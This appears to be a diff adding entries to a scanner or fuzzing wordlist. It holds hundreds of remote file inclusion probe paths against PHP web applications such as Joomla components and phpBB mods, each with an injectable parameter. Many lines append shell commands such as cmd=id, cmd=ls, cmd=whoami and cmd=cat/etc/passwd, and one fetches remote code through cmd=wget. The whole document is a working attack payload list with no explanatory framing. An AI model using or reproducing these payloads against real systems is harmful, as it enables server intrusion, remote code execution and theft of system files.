+/com_vehiclemanager/toolbar_ext.php?mosConfig_absolute_path=!INJECT!?
+/comments.php?AMG_serverpath=!INJECT!
+/comments.php?scriptpath=!INJECT!?
+/common.inc.php?CFG[libdir]=!INJECT!
+/common.inc.php?CFG[libdir]=!INJECT!?
+/common.inc.php?base_path=!INJECT!
+/common.php?db_file=!INJECT!
+/common.php?dir=!INJECT!
+/common.php?ezt_root_path=!INJECT!?
+/common.php?include_path=!INJECT!
+/common.php?livealbum_dir=!INJECT!?
+/common.php?locale=!INJECT!
+/common.php?phpht_real_path=!INJECT!?
+/common/db.php?commonpath=!INJECT!?
+/common/func.php?CommonAbsD=!INJECT!?
+/common/func.php?CommonAbsDir=!INJECT!
+/community/Offline.php?sourcedir=!INJECT!?
+/component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=!INJECT!
+/components/calendar/com_calendar.php?absolute_path=!INJECT!?
+/components/com_ajaxchat/tests/ajcuser.php?GLOBALS[mosConfig_absolute_path]=!INJECT!
+/components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php?mosConfig_absolute_path=!INJECT!
+/components/com_artforms/assets/captcha/includes/captchaform/mp3captcha.php?mosConfig_absolute_path=!INJECT!
+/components/com_artforms/assets/captcha/includes/captchatalk/swfmovie.php?mosConfig_absolute_path=!INJECT!
+/components/com_articles.php?absolute_path=!INJECT!?
+/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=!INJECT!
+/components/com_calendar.php?absolute_path=!INJECT!?
+/components/com_cpg/cpg.php?mosConfig_absolute_path=!INJECT!?
+/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=!INJECT!
+/components/com_facileforms/facileforms.frame.php?ff_compath=!INJECT!
+/components/com_forum/download.php?phpbb_root_path=!INJECT!
+/components/com_galleria/galleria.html.php?mosConfig_absolute_path=!INJECT!
+/components/com_guestbook.php?absolute_path=!INJECT!?
+/components/com_hashcash/server.php?mosConfig_absolute_path=!INJECT!?
+/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=!INJECT!
+/components/com_jd-wiki/bin/dwpage.php?mosConfig_absolute_path=!INJECT!
+/components/com_jd-wiki/bin/wantedpages.php?mosConfig_absolute_path=!INJECT!
+/components/com_joomlaboard/file_upload.php?sbp=!INJECT!?
+/components/com_koesubmit/koesubmit.php?mosConfig_absolute_path=!INJECT!?
+/components/com_lm/archive.php?mosConfig_absolute_path=!INJECT!?
+/components/com_mambowiki/MamboLogin.php?IP=!INJECT!?
+/components/com_minibb.php?absolute_path=!INJECT!
+/components/com_mosmedia/media.divs.php?mosConfig_absolute_path=!INJECT!
+/components/com_mosmedia/media.tab.php?mosConfig_absolute_path=!INJECT!
+/components/com_mospray/scripts/admin.php?basedir=!INJECT!?&cmd=id
+/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=!INJECT!
+/components/com_mp3_allopass/allopass.php?mosConfig_live_site=!INJECT!
+/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=!INJECT!?
+/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=!INJECT!?
+/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=!INJECT!
+/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=!INJECT!
+/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=!INJECT!
+/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=!INJECT!
+/components/com_rsgallery2/rsgallery.html.php?mosConfig_absolute_path=!INJECT!
+/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=!INJECT!?
+/components/com_slideshow/admin.slideshow1.php?mosConfig_live_site=!INJECT!
+/components/com_smf/smf.php?mosConfig_absolute_path=!INJECT!
+/components/com_thopper/inc/contact_type.php?mosConfig_absolute_path=!INJECT!
+/components/com_thopper/inc/itemstatus_type.php?mosConfig_absolute_path=!INJECT!
+/components/com_thopper/inc/projectstatus_type.php?mosConfig_absolute_path=!INJECT!
+/components/com_thopper/inc/request_type.php?mosConfig_absolute_path=!INJECT!
+/components/com_thopper/inc/responses_type.php?mosConfig_absolute_path=!INJECT!
+/components/com_thopper/inc/timelog_type.php?mosConfig_absolute_path=!INJECT!
+/components/com_thopper/inc/urgency_type.php?mosConfig_absolute_path=!INJECT!
+/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=!INJECT!
+/components/core/connect.php?language_path=!INJECT!
+/components/minibb/bb_plugins.php?absolute_path=!INJECT!?
+/components/minibb/index.php?absolute_path=!INJECT!?
+/components/xmlparser/loadparser.php?absoluteurl=!INJECT!
+/compteur/mapage.php?chemin=!INJECT!
+/conf.php?securelib=!INJECT!
+/conf.php?securelib=!INJECT!?
+/config.inc.php3?rel_path=!INJECT!
+/config.inc.php?_path=!INJECT!
+/config.inc.php?path_escape=!INJECT!
+/config.inc.php?path_escape=!INJECT!%00
+/config.php?full_path=!INJECT!?
+/config.php?full_path_to_db=!INJECT!
+/config.php?fullpath=!INJECT!
+/config.php?incpath=!INJECT!
+/config.php?path_to_root=!INJECT!
+/config.php?rel_path=!INJECT!?
+/config.php?returnpath=!INJECT!
+/config.php?sql_language=!INJECT!?
+/config.php?xcart_dir=!INJECT!?
+/config/config_admin.php?INC=!INJECT!?
+/config/config_main.php?INC=!INJECT!?
+/config/config_member.php?INC=!INJECT!?
+/config/dbutil.bck.php?confdir=!INJECT!
+/config/mysql_config.php?INC=!INJECT!?
+/config/sender.php?ROOT_PATH=!INJECT!?
+/configuration.php?absolute_path=!INJECT!?
+/confirmUnsubscription.php?output=!INJECT!
+/connect.php?path=!INJECT!
+/connexion.php?DOCUMENT_ROOT=!INJECT!?
+/contact.php?blog_theme=!INJECT!
+/contacts.php?cal_dir=!INJECT!
+/contenido/external/frontend/news.php?cfg[path][includes]=!INJECT!
+/content.php?content=!INJECT!
+/content/admin.php?pwfile=!INJECT!
+/content/content.php?fileloc=!INJECT!?
+/content/delete.php?pwfile=!INJECT!
+/content/modify.php?pwfile=!INJECT!
+/content/modify_go.php?pwfile=!INJECT!
+/contrib/forms/evaluation/C_FormEvaluation.class.php?GLOBALS[fileroot]=!INJECT!
+/contrib/mx_glance_sdesc.php?mx_root_path=!INJECT!
+/contrib/phpBB2/modules.php?phpbb_root_path=!INJECT!?
+/controllers/MySQLController.php?baseDir=!INJECT!
+/controllers/SQLController.php?baseDir=!INJECT!
+/controllers/SetupController.php?baseDir=!INJECT!
+/controllers/VideoController.php?baseDir=!INJECT!
+/controllers/ViewController.php?baseDir=!INJECT!
+/convert-date.php?cal_dir=!INJECT!
+/convert/mvcw.php?step=1&vwar_root=!INJECT!
+/convert/mvcw.php?vwar_root=!INJECT!
+/core/admin/admin.php?p=admin&absoluteurl!INJECT!
+/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurl!INJECT!
+/core/admin/categories_add.php?absoluteurl!INJECT!
+/core/admin/categories_remove.php?absoluteurl!INJECT!
+/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurl!INJECT!
+/core/admin/editdel.php?p=admin&absoluteurl!INJECT!
+/core/admin/ftpfeature.php?p=admin&absoluteurl!INJECT!
+/core/admin/login.php?absoluteurl!INJECT!
+/core/admin/pgRSSnews.php?absoluteurl!INJECT!
+/core/admin/showcat.php?absoluteurl!INJECT!
+/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurl!INJECT!
+/core/archive_cat.php?absoluteurl!INJECT!
+/core/archive_nocat.php?absoluteurl!INJECT!
+/core/aural.php?site_absolute_path=!INJECT!
+/core/aural.php?site_absolute_path=!INJECT!?&cmd=dir
+/core/editor.php?editor_insert_bottom=!INJECT!
+/core/includes.php?CMS_ROOT=!INJECT!?
+/core/recent_list.php?absoluteurl!INJECT!
+/corpo.php?pagina=!INJECT!
+/cp2.php?securelib=!INJECT!?
+/cpe/index.php?repertoire_config=!INJECT!
+/crea.php?plancia=!INJECT!
+/creacms/_administration/edition_article/edition_article.php?cfg[document_uri]=!INJECT!?
+/creacms/_administration/fonctions/get_liste_langue.php?cfg[base_uri_admin]=!INJECT!?
+/creat_news_all.php?language=!INJECT!
+/create_file.php?target=!INJECT!?
+/cron.php?ROOT_PATH=!INJECT!
+/cron.php?include_path=!INJECT!?
+/crontab/run_billing.php?config[include_dir]=!INJECT!?
+/cross.php?url=!INJECT!
+/custom_vars.php?sys[path_addon]=!INJECT!
+/customer/product.php?xcart_dir=!INJECT!
+/cwb/comanda.php?INCLUDE_PATH=!INJECT!?
+/datei.php?config[root_ordner]=!INJECT!?&cmd=id
+/db/PollDB.php?CONFIG_DATAREADERWRITER=!INJECT!?
+/db/mysql/db.inc.php?SPL_CFG[dirroot]=!INJECT!?
+/dbcommon/include.php?_APP_RELATIVE_PATH=!INJECT!
+/dbmodules/DB_adodb.class.php?PHPOF_INCLUDE_PATH=!INJECT!
+/debugger.php?config_atkroot=!INJECT!
+/decoder/gallery.php?ccms_library_path=!INJECT!
+/decoder/markdown.php?ccms_library_path=!INJECT!
+/defaults_setup.php?ROOT_PATH=!INJECT!?cmd=ls
+/defines.php?WEBCHATPATH=!INJECT!?
+/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=!INJECT!&
+/depouilg.php3?NomVote=!INJECT!?
+/development.php?root_prefix=!INJECT!?
+/dfcode.php?DFORUM_PATH=!INJECT!?
+/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php?set_depth=!INJECT!?
+/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.php?set_depth=!INJECT!?
+/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=!INJECT!
+/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=!INJECT!?
+/dialog.php?CONFIG[MWCHAT_Libs]=!INJECT!?
+/dialogs/a.php?spaw_dir=!INJECT!?&cmd=id
+/dialogs/collorpicker.php?spaw_dir=!INJECT!&cmd=id
+/dialogs/img.php?spaw_dir=!INJECT!?&cmd=id
+/dialogs/img_library.php?spaw_dir=!INJECT!?&cmd=id
+/dialogs/table.php?spaw_dir=!INJECT!?&cmd=id
+/dialogs/td.php?spaw_dir=!INJECT!?&cmd=id
+/digitaleye_Path/module.php?menu=!INJECT!?
+/dir/prepend.php?_PX_config[manager_path]=!INJECT!
+/dir_thatware/config.php?root_path=!INJECT!'
+/direct.php?rf=!INJECT!
+/direction/index.php?repertoire_config=!INJECT!
+/directory/index.php?path=!INJECT!
+/display.php?pag=!INJECT!
+/display.php?path=!INJECT!
+/displayCategory.php?basepath=!INJECT!
+/dix.php3?url_phpartenaire=!INJECT!
+/dm-albums/template/album.php?SECURITY_FILE=!INJECT!
+/doc/admin/index.php?ptinclude=!INJECT!
+/doceboCore/lib/lib.php?GLOBALS[where_framework]=!INJECT!
+/doceboKms/modules/documents/lib.filelist.php?GLOBALS[where_framework]=!INJECT!
+/doceboKms/modules/documents/tree.documents.php?GLOBALS[where_framework]=!INJECT!
+/doceboLms/lib/lib.repo.php?GLOBALS[where_framework]=!INJECT!
+/doceboScs/lib/lib.teleskill.php?GLOBALS[where_scs]=!INJECT!
+/docebocms/lib/lib.simplesel.php?GLOBALS[where_framework]=!INJECT!
+/docs/front-end-demo/cart2.php?workdir=!INJECT!?
+/dokeos/claroline/resourcelinker/resourcelinker.inc.php?clarolineRepositorySys=!INJECT!?&cmd=wget%20!INJECT!
+/dosearch.php?RESPATH=!INJECT!
+/download.php?root_prefix=!INJECT!?
+/download_engine_V1.4.3/addmember.php?eng_dir=!INJECT!
+/download_engine_V1.4.3/admin/enginelib/class.phpmailer.php?lang_pathr=!INJECT!
+/download_engine_V1.4.3/admin/includes/spaw/dialogs/colorpicker.php?spaw_root=!INJECT!
+/downstat1.8/chart.php?art=!INJECT!?
+/dp_logs.php?HomeDir=!INJECT!
+/eXPerience2/modules.php?file=!INJECT!
+/ea-gBook/index_inc.php?inc_ordner=!INJECT!?&act=cmd&cmd=whoami&d=/&submit=1&cmd_txt=1
+/edit.php?javascript_path=!INJECT!?
+/editor.php?newsfile=!INJECT!
+/editprofile.php?pathtohomedir=!INJECT!?
+/editsite.php?returnpath=!INJECT!
+/editx/add_address.php?include_dir=!INJECT!
+/elseif/contenus.php?contenus=!INJECT!
+/elseif/moduleajouter/articles/fonctions.php?tpelseifportalrepertoire=!INJECT!
+/elseif/moduleajouter/articles/usrarticles.php?corpsdesign=!INJECT!
+/elseif/moduleajouter/depot/fonctions.php?tpelseifportalrepertoire=!INJECT!
+/elseif/moduleajouter/depot/usrdepot.php?corpsdesign=!INJECT!
+/elseif/moduleajouter/depot/usrdepot.php?corpsdesign!INJECT!
+/elseif/utilisateurs/coeurusr.php?tpelseifportalrepertoire=!INJECT!
+/elseif/utilisateurs/commentaire.php?tpelseifportalrepertoire=!INJECT!
+/elseif/utilisateurs/enregistrement.php?tpelseifportalrepertoire=!INJECT!
+/elseif/utilisateurs/espaceperso.php?tpelseifportalrepertoire=!INJECT!
+/elseif/utilisateurs/votes.php?tpelseifportalrepertoire=!INJECT!
+/email_subscribe.php?root_prefix=!INJECT!?
+/embed/day.php?path=!INJECT!
+/enc/content.php?Home_Path=!INJECT!?
+/engine/Ajax/editnews.php?root_dir=!INJECT!
+/engine/api/api.class.php?dle_config_api=!INJECT!?
+/engine/engine.inc.php?absolute_path=!INJECT!
+/engine/init.php?root_dir=!INJECT!
+/engine/require.php?MY_ENV[BASE_ENGINE_LOC]=!INJECT!?
+/enth3/show_joined.php?path=!INJECT!
+/environment.php?DIR_PREFIX=!INJECT!
+/epal/index.php?view=!INJECT!?
+/errors.php?error=!INJECT!
+/errors/configmode.php?GALLERY_BASEDIR=!INJECT!
+/errors/needinit.php?GALLERY_BASEDIR=!INJECT!
+/errors/reconfigure.php?GALLERY_BASEDIR=!INJECT!
+/errors/unconfigured.php?GALLERY_BASEDIR=!INJECT!
+/es_custom_menu.php?files_dir=!INJECT!
+/es_desp.php?files_dir=!INJECT!
+/es_offer.php?files_dir=!INJECT!
+/eshow.php?Config_rootdir=!INJECT!
+/esupport/admin/autoclose.php?subd=!INJECT!?
+/eva/index.php3?aide=!INJECT!?
+/eva/index.php3?perso=!INJECT!
+/eva/index.php?eva[caminho]=!INJECT!
+/event.php?myevent_path=!INJECT!
+/event_cal/module/embed/day.php?path=!INJECT!
+/eventcal2.php.php?path_simpnews=!INJECT!
+/eventscroller.php?path_simpnews=!INJECT!
+/example-view/templates/article.php?globals[content_dir]=!INJECT!?
+/example-view/templates/dates_list.php?globals[content_dir]=!INJECT!?
+/example-view/templates/root.php?globals[content_dir]=!INJECT!?
+/example.php?site=!INJECT!
+/example/gamedemo/inc.functions.php?projectPath=!INJECT!?
+/examplefile.php?bibtexrootrel=!INJECT!?
+/examples/patExampleGen/bbcodeSource.php?example=!INJECT!
+/exception/include.php?_APP_RELATIVE_PATH=!INJECT!
+/extauth/drivers/ldap.inc.php?clarolineRepositorySys=!INJECT!
+/extras/mt.php?web_root=!INJECT!
+/extras/poll/poll.php?file_newsportal=!INJECT!
+/ezusermanager_pwd_forgott.php?ezUserManager_Path=!INJECT!
+/faq.php?module_root_path=!INJECT!
+/faq.php?phpbb_root_path=!INJECT!
+/fckeditor/editor/dialog/fck_link.php?dirroot=!INJECT!
+/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=!INJECT!
+/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?dirroot=!INJECT!?&cmd=id
+/fcring.php?s_fuss=!INJECT!
+/feed.php?config[root_ordner]=!INJECT!?&cmd=id
+/feed/index2.php?m=!INJECT!
+/files/amazon-bestsellers.php?CarpPath=!INJECT!
+/files/carprss.php?CarpPath=!INJECT!
+/files/compose-attach.php3?BSX_LIBDIR=!INJECT!
+/files/compose-menu.php3?BSX_LIBDIR=!INJECT!
+/files/compose-new.php3?BSX_LIBDIR=!INJECT!
+/files/compose-send.php3?BSX_LIBDIR=!INJECT!
+/files/folder-create.php3?BSX_LIBDIR=!INJECT!
+/files/folder-delete.php3?BSX_LIBDIR=!INJECT!
+/files/folder-empty.php3?BSX_LIBDIR=!INJECT!
+/files/folder-rename.php3?BSX_LIBDIR=!INJECT!
+/files/folders.php3?BSX_LIBDIR=!INJECT!
+/files/login.php3?err=hack&BSX_HTXDIR=!INJECT!
+/files/mainfile.php?page[path]=!INJECT!?&cmd=ls
+/files/mbox-list.php3?BSX_LIBDIR=!INJECT!
+/files/message-delete.php3?BSX_LIBDIR=!INJECT!
+/files/message-forward.php3?BSX_LIBDIR=!INJECT!
+/files/message-header.php3?BSX_LIBDIR=!INJECT!
+/files/message-print.php3?BSX_LIBDIR=!INJECT!
+/files/message-read.php3?BSX_LIBDIR=!INJECT!
+/files/message-reply.php3?BSX_LIBDIR=!INJECT!
+/files/message-replyall.php3?BSX_LIBDIR=!INJECT!
+/files/message-search.php3?BSX_LIBDIR=!INJECT!
+/findix/index.php?page=!INJECT!?&cmd=id
+/fishcart_v3/fc_functions/fc_example.php?docroot=!INJECT!
+/flushcmd/Include/editor/rich_files/class.rich.php?class_path=!INJECT!?
+/fonctions/template.php?repphp=!INJECT!?
+/fonctions_racine.php?chemin_lib=!INJECT!
+/footer.inc.php?settings[footer]=!INJECT!
+/footer.inc.php?tfooter=!INJECT!?
+/footer.php?footer_file=!INJECT!
+/footer.php?op[footer_body]=!INJECT!?
+/form.php?path=!INJECT!?&cmd=pwd
+/forum.php?cfg_file=1&fpath=!INJECT!?
+/forum/forum.php?view=!INJECT!
+/forum/forum82lib.php3?repertorylevel=!INJECT!?
+/forum/gesfil.php?repertorylevel=!INJECT!?
+/forum/lostpassword.php?repertorylevel=!INJECT!?
+/forum/mail.php?repertorylevel=!INJECT!?
+/forum/member.php?repertorylevel=!INJECT!?
+/forum/message.php?repertorylevel=!INJECT!?
+/forum/search.php?repertorylevel=!INJECT!?
+/forum/track.php?path=!INJECT!
+/frame.php?framefile=!INJECT!
+/ftp.php?path_local=!INJECT!
+/function.inc.php?path=!INJECT!
+/function.php?adminfolder=!INJECT!
+/function.php?gbpfad=!INJECT!
+/functions.php?include_path=!INJECT!
+/functions.php?pmp_rel_path=!INJECT!
+/functions.php?s[phppath]=!INJECT!
+/functions.php?set_path=!INJECT!?
+/functions/form.func.php?GLOBALS[PTH][classes]=!INJECT!?
+/functions/general.func.php?GLOBALS[PTH][classes]=!INJECT!?
+/functions/groups.func.php?GLOBALS[PTH][classes]=!INJECT!?
+/functions/js.func.php?GLOBALS[PTH][classes]=!INJECT!?
+/functions/prepend_adm.php?SETS[path][physical]=!INJECT!
+/functions/prepend_adm.php?SETS[path][physical]=!INJECT!?
+/functions/sections.func.php?GLOBALS[PTH][classes]=!INJECT!?
+/functions/users.func.php?GLOBALS[PTH][classes]=!INJECT!?
+/functions_mod_user.php?phpbb_root_path=!INJECT!?&cmd=ls
+/fusebox5.php?FUSEBOX_APPLICATION_PATH=!INJECT!
+/galerie.php?config[root_ordner]=!INJECT!?cmd=id
+/gallery/captionator.php?GALLERY_BASEDIR=!INJECT!
+/gallery/lib/content.php?include=!INJECT!?cmd=ls
+/gallery/theme/include_mode/template.php?galleryfilesdir=!INJECT!
+/gallerypath/index.php?includepath=!INJECT!
+/games.php?id=!INJECT!
+/games.php?scoreid=!INJECT!
+/gbook/includes/header.php?abspath=!INJECT!?
+/gemini/page/forums/bottom.php?lang=!INJECT!?
+/gen_m3u.php?phpbb_root_path=!INJECT!
+/genepi.php?topdir=!INJECT!
+/generate.php?ht_pfad=!INJECT!?
+/gepi/gestion/savebackup.php?filename=!INJECT!&cmd=cat/etc/passwd
+/gestArt/aide.php3?aide=!INJECT!?
+/get_session_vars.php?path_to_smf=!INJECT!
+/getpage.php?page=online&doc_path=!INJECT!
+/global.php?abs_path=!INJECT!?
+/gorum/dbproperty.php?appDirName=!INJECT!
+/gpb/include/db.mysql.inc.php?root_path=!INJECT!?
+/gpb/include/gpb.inc.php?root_path=!INJECT!?
+/graph.php?DOCUMENT_ROOT=!INJECT!?
+/gruppen.php?config[root_ordner]=!INJECT!?&cmd=id
+/handlers/email/mod.listmail.php?_PM_[path][handle]=!INJECT!
+/handlers/page/show.php?sous_rep=!INJECT!
+/head.php?CONFIG[MWCHAT_Libs]=!INJECT!?
+/header.inc.php?CssFile=!INJECT!
+/header.php?path=!INJECT!
+/header.php?wwwRoot=!INJECT!
+/help.php?CONFIG[MWCHAT_Libs]=!INJECT!?
+/help/index.php?show=!INJECT!
+/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=!INJECT!
+/helperfunction.php?includedir=!INJECT!
+/hioxBannerRotate.php?hm=!INJECT!
+/hioxRandomAd.php?hm=!INJECT!
+/hioxstats.php?hm=!INJECT!
+/hioxupdate.php?hm=!INJECT!
+/home.php?a=!INJECT!
+/home.php?page=!INJECT!
+/home.php?pagina=!INJECT!
+/home/www/images/doc/index2.php?type=!INJECT!
+/home1.php?ln=!INJECT!
+/home2.php?ln=!INJECT!
+/hsList.php?subdir=!INJECT!?&cmd=ls
+/htdocs/gmapfactory/params.php?gszAppPath=!INJECT!
+/html/admin/modules/plugin_admin.php?_settings[pluginpath]=!INJECT!
+/hu/modules/reg-new/modstart.php?mod_dir=!INJECT!?
+/i_head.php?home=!INJECT!
+/i_nav.php?home=!INJECT!
+/iframe.php?file=!INJECT!
+/image.php?url=!INJECT!???
+/impex/ImpExData.php?systempath=!INJECT!
+/import.php?bibtexrootrel=!INJECT!?
+/importinfo.php?bibtexrootrel=!INJECT!?
+/in.php?returnpath=!INJECT!
+/inc/articles.inc.php?GLOBALS[CHEMINMODULES]=!INJECT!
+/inc/config.inc.php?x[1]=!INJECT!
+/inc/design.inc.php?dir[data]=!INJECT!
+/inc/download_center_lite.inc.php?script_root=!INJECT!
+/inc/formmail.inc.php?script_root=!INJECT!
+/inc/gabarits.php?cfg_racine=!INJECT!
+/inc/header.inc.php?ficStyle=!INJECT!
+/inc/ifunctions.php?GLOBALS[phpQRootDir]=!INJECT!
+/inc/inc.php?cfg_racine=!INJECT!?
+/inc/indexhead.php?fileloc=!INJECT!?
+/inc/irayofuncs.php?irayodirhack=!INJECT!?
+/inc/libs/Smarty_Compiler.class.php?plugin_file=!INJECT!?
+/inc/libs/core/core.display_debug_console.php?plugin_file=!INJECT!?
+/inc/libs/core/core.load_plugins.php?plugin_file=!INJECT!?
+/inc/libs/core/core.load_resource_plugin.php?plugin_file=!INJECT!?
+/inc/libs/core/core.process_cached_inserts.php?plugin_file=!INJECT!?
+/inc/libs/core/core.process_compiled_include.php?plugin_file=!INJECT!?
+/inc/libs/core/core.read_cache_file.php?plugin_file=!INJECT!?
+/inc/linkbar.php?cfile=!INJECT!?
+/inc/login.php?pathCGX=!INJECT!
+/inc/logingecon.php?pathCGX=!INJECT!
+/inc/ltdialogo.php?pathCGX=!INJECT!
+/inc/mtdialogo.php?pathCGX=!INJECT!
+/inc/nuke_include.php?newsSync_enable_phpnuke_mod=1&newsSync_NUKE_PATH=!INJECT!?
+/inc/prepend.inc.php?path=!INJECT!?
+/inc/service.alert.inc.php?SPL_CFG[dirroot]=!INJECT!?
+/inc/settings.php?inc_dir=!INJECT!
+/inc/settings.ses.php?SPL_CFG[dirroot]=!INJECT!?
+/inc/shows.inc.php?cutepath=!INJECT!?
+/inc/sige_init.php?SYS_PATH=!INJECT!?
+/inc_group.php?include_path=!INJECT!?
+/inc_manager.php?include_path=!INJECT!?
+/inc_newgroup.php.php?include_path=!INJECT!?
+/inc_smb_conf.php?include_path=!INJECT!?
+/inc_user.php?include_path=!INJECT!?
+/include.php?_APP_RELATIVE_PATH=!INJECT!
+/include.php?gorumDir=!INJECT!
+/include.php?myng_root=!INJECT!
+/include.php?path=psp/user.php&site=!INJECT!
+/include.php?path[docroot]=!INJECT!
+/include.php?sunPath=!INJECT!
+/include/Beautifier/Core.php?BEAUT_PATH=!INJECT!
+/include/HTML_oben.php?include_path=!INJECT!
+/include/HTML_oben.php?include_path=!INJECT!?
+/include/SQuery/gameSpy2.php?libpath=!INJECT!
+/include/bbs.lib.inc.php?site_path=!INJECT!
+/include/class_yapbbcooker.php?cfgIncludeDirectory=!INJECT!
+/include/classes.php?INCLUDE_DIR=!INJECT!?
+/include/client.php?INCLUDE_DIR=!INJECT!?
+/include/cls_headline_prod.php?INCLUDE_PATH=!INJECT!
+/include/cls_listorders.php?INCLUDE_PATH=!INJECT!
+/include/cls_viewpastorders.php?INCLUDE_PATH=!INJECT!
+/include/common.php?XOOPS_ROOT_PATH=!INJECT!
+/include/common_functions.php?baros_path=!INJECT!?
+/include/config.inc.php?racine=!INJECT!
+/include/copyright.php?tsep_config[absPath]=!INJECT!?cmd=ls
+/include/customize.php?l=!INJECT!&text=Hello%20World
+/include/default_header.php?script_path=!INJECT!
+/include/define.php?INC_DIR=!INJECT!?
+/include/disp_form.php3?cfg_include_dir=!INJECT!?
+/include/disp_smileys.php3?cfg_include_dir=!INJECT!?
+/include/dom.php?path=!INJECT!
+/include/dtd.php?path=!INJECT!
+/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=!INJECT!?
+/include/engine/content/elements/menu.php?CONFIG[AdminPath]=!INJECT!
+/include/forms.php?INCLUDE_DIR=!INJECT!?
+/include/global.php?pfad=!INJECT!
+/include/header.php?cs_base_path=!INJECT!?
+/include/html/nettools.popup.php?DIR=!INJECT!
+/include/inc.foot.php?root=!INJECT!
+/include/inc_ext/spaw/dialogs/table.php?spaw_root=!INJECT!
+/include/inc_freigabe.php?include_path=!INJECT!?
+/include/inc_freigabe1.php?include_path=!INJECT!?
+/include/inc_freigabe3.php?include_path=!INJECT!?
+/include/include_stream.inc.php?include_path=!INJECT!
+/include/include_top.php?g_include=!INJECT!
+/include/includes.php?include_path=!INJECT!
+/include/index.php3?cfg_include_dir=!INJECT!?
+/include/init.inc.php?G_PATH=!INJECT!
+/include/issue_edit.php?INCLUDE_DIR=!INJECT!?
+/include/lib/lib_slots.php?main_path=!INJECT!
+/include/lib/lib_stats.php?main_path=!INJECT!?
+/include/lib/lib_users.php?main_path=!INJECT!?
+/include/little_news.php3?cfg_include_dir=!INJECT!?
+/include/livre_include.php?no_connect=lol&chem_absolu=!INJECT!?
+/include/loading.php?path_include=!INJECT!
+/include/mail.inc.php?root=!INJECT!
+/include/menu_builder.php?config[page_dir]=!INJECT!?
+/include/misc/mod_2checkout/2checkout_return.inc.php?DIR=!INJECT!
+/include/monitoring/engine/MakeXML.php?fileOreonConf=!INJECT!?
+/include/parser.php?path=!INJECT!
+/include/pear/IT.php?basepath=!INJECT!?
+/include/pear/ITX.php?basepath=!INJECT!?
+/include/pear/IT_Error.php?basepath=!INJECT!?
+/include/phpxd/phpXD.php?appconf[rootpath]=!INJECT!?&cmd=id
+/include/prodler.class.php?sPath=!INJECT!???
+/include/scripts/export_batch.inc.php?DIR=!INJECT!
+/include/scripts/run_auto_suspend.cron.php?DIR=!INJECT!
+/include/scripts/send_email_cache.php?DIR=!INJECT!
+/include/startup.inc.php?root_path=!INJECT!?
+/include/themes/themefunc.php?myNewsConf[path][sys][index]=!INJECT!?
+/include/timesheet.php?config[include_dir]=!INJECT!
+/include/urights.php?CRM_inc=!INJECT!
+/includes/admin_board2.php?phpbb_root_path=!INJECT!?ls
+/includes/admin_logger.php?phpbb_root_path=!INJECT!?ls
+/includes/adodb/back/adodb-postgres7.inc.php?ADODB_DIR=!INJECT!?
+/includes/ajax_listado.php?urlModulo=!INJECT!
+/includes/archive/archive_topic.php?phpbb_root_path=!INJECT!?
+/includes/bbcb_mg.php?phpbb_root_path=!INJECT!?
+/includes/begin.inc.php?PagePrefix=!INJECT!
+/includes/blogger.php?path_prefix=!INJECT!
+/includes/class/class_tpl.php?cache_file=!INJECT!?
+/includes/class_template.php?quezza_root_path=!INJECT!
+/includes/classes/pctemplate.php?pcConfig[smartyPath]=!INJECT!?cmd
+/includes/common.inc.php?CONFIG[BASE_PATH]=!INJECT!
+/includes/common.php?module_root_path=!INJECT!?
+/includes/common.php?root=!INJECT!?
+/includes/common.php?root_path=!INJECT!?
+/includes/config.inc.php?racineTBS=!INJECT!
+/includes/config/master.inc.php?fm_data[root]=!INJECT!?
+/includes/connection.inc.php?PagePrefix=!INJECT!
+/includes/dbal.php?eqdkp_root_path=!INJECT!
+/includes/events.inc.php?PagePrefix=!INJECT!
+/includes/footer.html.inc.php?tc_config[app_root]=!INJECT!?
+/includes/footer.inc.php?PagePrefix=!INJECT!
+/includes/footer.php?PHPGREETZ_INCLUDE_DIR=!INJECT!
+/includes/functions.inc.php?sitepath=!INJECT!?
+/includes/functions.php?location=!INJECT!
+/includes/functions.php?phpbb_root_path=!INJECT!
+/includes/functions.php?phpbb_root_path=!INJECT!?
+/includes/functions/auto_email_notify.php?path_prefix=!INJECT!
+/includes/functions/html_generate.php?path_prefix=!INJECT!
+/includes/functions/master.inc.php?fm_data[root]=!INJECT!?
+/includes/functions/validations.php?path_prefix=!INJECT!
+/includes/functions_admin.php?phpbb_root_path=!INJECT!?
+/includes/functions_install.php?vwar_root=!INJECT!
+/includes/functions_kb.php?phpbb_root_path=!INJECT!?
+/includes/functions_mod_user.php?phpbb_root_path=!INJECT!?
+/includes/functions_portal.php?phpbb_root_path=!INJECT!?
+/includes/functions_user_viewed_posts.php?phpbb_root_path=!INJECT!?
+/includes/global.php?nbs=!INJECT!?
+/includes/header.inc.php?PagePrefix=!INJECT!
+/includes/header.inc.php?dateiPfad=!INJECT!
+/includes/include_once.php?include_file=!INJECT!
+/includes/init.php?includepath=!INJECT!?
+/includes/iplogger.php?phpbb_root_path=!INJECT!?ls
+/includes/kb_constants.php?module_root_path=!INJECT!
